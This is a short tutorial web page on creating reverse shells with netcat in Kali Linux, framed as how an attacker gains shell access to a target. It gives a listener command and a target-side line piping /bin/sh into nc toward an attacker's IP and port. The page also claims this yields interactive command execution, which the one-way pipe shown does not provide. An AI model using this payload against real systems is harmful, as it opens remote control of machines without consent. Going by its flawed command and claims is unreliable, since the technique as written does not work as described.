How to Create Reverse Shells with Netcat in Kali Linux? Last Updated : 30 Jun, 2020 Comments Improve Suggest changes Like Article Like Report Netcat is a command in Linux which is used to perform port listening, port redirection, port checking, or even network testing. Netcat is also called a swiss army knife of networking tools. This command is also used to create a reverse shell. Before getting in depth of reverse shell one must be aware of what exactly is netcat tool. To know more, you can go through the article netcat command. Generally, in order to hack into a system, an attacker tries to gain shell access to execute the malicious payload commands. The gained shell is called the reverse shell which could be used by an attacker as a root user and the attacker could do anything out of it. During the whole process, the attacker's machine acts as a server that waits for an incoming connection, and that connection comes along with a shell. Creating Reverse Shells 1. Setup a listener: The very first step is to set up a listener on the attacker's machine in order to act as a server and to listen to the incoming connections. Use the following command to start listening. nc –nlvp 5555 Replace the port number 5555 with the port you want to receive the connection on. This will start the listener on the port 5555. 2. Receive connection along with a shell from target: Now as we have started listening, it's time to execute a basic payload at the target so that we could get a reverse shell. Use the following command to send the request to the attacker. /bin/sh | nc 127.0.0.1 5555 Replace 127.0.0.1 with the host IP of the attacker and 5555 with the attacker's port. This will give a reverse shell to the attacker which attacker could use to execute any command. 3. Executing a command through shell: Now if we enter any command at the receiver's terminal the output would be displayed on the attacker's terminal. Comment More infoAdvertise with us Next Article How to Create Reverse Shells with Netcat in Kali Linux? manav014 Follow Improve Article Tags : Linux-Unix Kali-Linux Similar Reads Creating a Persistent Reverse Shell with Metasploit in Kali Linux A reverse shell is a type of network connection in which a command shell is executed on a remote machine, and the input and output of the shell are transmitted over the network back to the local machine. This allows a user on the local machine to execute commands on the remote machine and receive th 4 min read Uploading a Reverse Shell to a Web Server in Kali Linux We basically hack the webserver for gaining access to the system. We look into what is inside the web server and we want to have full control of the web server. Therefore we can download or access the uploaded content. In this article, we are using a reverse shell made with PHP. We are uploading the 3 min read Creating a Simple Chat with netcat in Linux Firstly, We should know that what is netcat, which is also known as TCP/IP swiss army knife a feature-rich network utility. netcat can do port scanning, transfer files, create a listener, or stream media, and many more. The netcat utility program supports a wide range of commands to manage networks 2 min read How to Link Kali Linux with Metasploitable 2 Metasploitable 2 is an intentionally vulnerable pentesting environment, that is used for security research also. For a test environment, the user needs to have a Metasploit instance that can access a vulnerable target, and here the target is functioning at our local network which is Metasploitable 2 4 min read How to Change the Mac Address in Kali Linux Using Macchanger Imagine your computer has a special ID card for connecting to the internet, called a MAC address. Itâs like a name tag that tells networks who you are. Sometimes, for privacy or testing, you might want to change this ID. If youâre using Kali Linux, a system made for people who study security and hac 2 min read How to make an HTTP GET request manually with netcat? Netcat,also known as "nc", is a powerful Unix-networking utility that enables users to interact with network services through a command-line interface (CLI). It uses both TCP and UDP network protocols for communication and is designed to be a reliable back-end tool to instantly provide network conne 6 min read How to Create a File in the Linux Using the Terminal? In this article, we will learn to create a file in the Linux/Unix system using the terminal. In the Linux/Unix system, there are the following ways available to creating files. Using the touch commandUsing the cat commandUsing redirection operatorUsing the echo commandUsing the heredocUsing the dd c 4 min read How to Enable and Start SSH on Kali Linux Secure Shell (SSH) is a protocol that provides a secure way to access a remote computer. It allows you to remotely log in to a system and execute commands as if you were sitting at the console. In this guide, we will explain how to enable and start SSH on Kali Linux, a popular Linux distribution use 5 min read How to Install Kali Docker Image to the Linux ? In the cybersecurity sector, Kali is a prominent security distribution. Penetration testers, in particular, adore it. Kali has a number of security exploitation tools that may be used to test various systems, such as servers, networks, application servers, databases, VoIP, and so on. Kali is availab 3 min read How To Change Default Shell In Linux In most Linux systems, the default shell is bash but we can change that to any other shell-like zsh, fish, sh, and any other. In this article, we are going to show how to change that default shell to any other shell in Linux systems. To change the user's shell, first, let's find the current shell. T 4 min read Like